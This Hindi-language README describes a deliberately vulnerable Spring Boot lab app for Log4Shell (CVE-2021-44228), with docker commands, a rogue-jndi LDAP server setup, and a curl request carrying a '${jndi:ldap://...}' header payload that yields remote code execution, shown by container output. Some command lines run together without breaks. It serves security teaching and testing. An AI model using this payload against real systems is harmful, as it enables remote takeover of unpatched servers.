
log4shell नमूना एप्लिकेशन (CVE-2021-44228)
यह https://github.com/christophetd/log4shell-vulnerable-app का लगभग प्रतिलिपि/समान कमजोर अनुप्रयोग है।
मुख्य अंतर ग्रेडल के बजाय मेवेन का उपयोग और rogue-jndi का उपयोग है।
इस रिपॉजिटरी में एक मेवेन स्प्रिंग बूट वेब अनुप्रयोग है जो CVE-2021-44228 के प्रति संवेदनशील है, जिसे Log4Shell उपनाम दिया गया है।
यह Log4j 2.6.1 और JDK संस्करण 1.8.0_181 का उपयोग करता है।
डॉकर स्प्रिंगबूट अनुप्रयोग बनाएं और चलाएं:
docker build . -t vulnerable-app
docker run -p 8080:8080 vulnerable-app
git clone https://github.com/veracode-research/rogue-jndicd rogue-jndimvn packagejava -jar target/RogueJndi-1.1.jar --command "touch /tmp/test_if_rce" --hostname "192.168.1.x"दूसरा टर्मिनल खोलें
curl localhost:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.x:1389/o=reference}'जहां दोनों मामलों में 192.168.1.x आपका आईपी है
नोट: localhost का उपयोग न करें, अपना वास्तविक निजी आईपी पता उपयोग करें।
अब जांचें कि RCE सफल हुआ या नहीं:
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
04536dbd1dff vulnerable-app "java -jar demo-0.0.…" 2 minutes ago Up 2 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp gallant_easley
$ docker container exec -it 04536dbd1dff ash
/opt/app # ls /tmp
hsperfdata_root tomcat-docbase.8080.4585569232401237075
test_if_rce tomcat.8080.1707298461175346507
जैसा कि आप देख सकते हैं, test_if_rce फ़ाइल मौजूद है। जिसका अर्थ है कि RCE सफल रहा।
कोड और विचार निम्नलिखित रिपॉजिटरी से लिए गए हैं: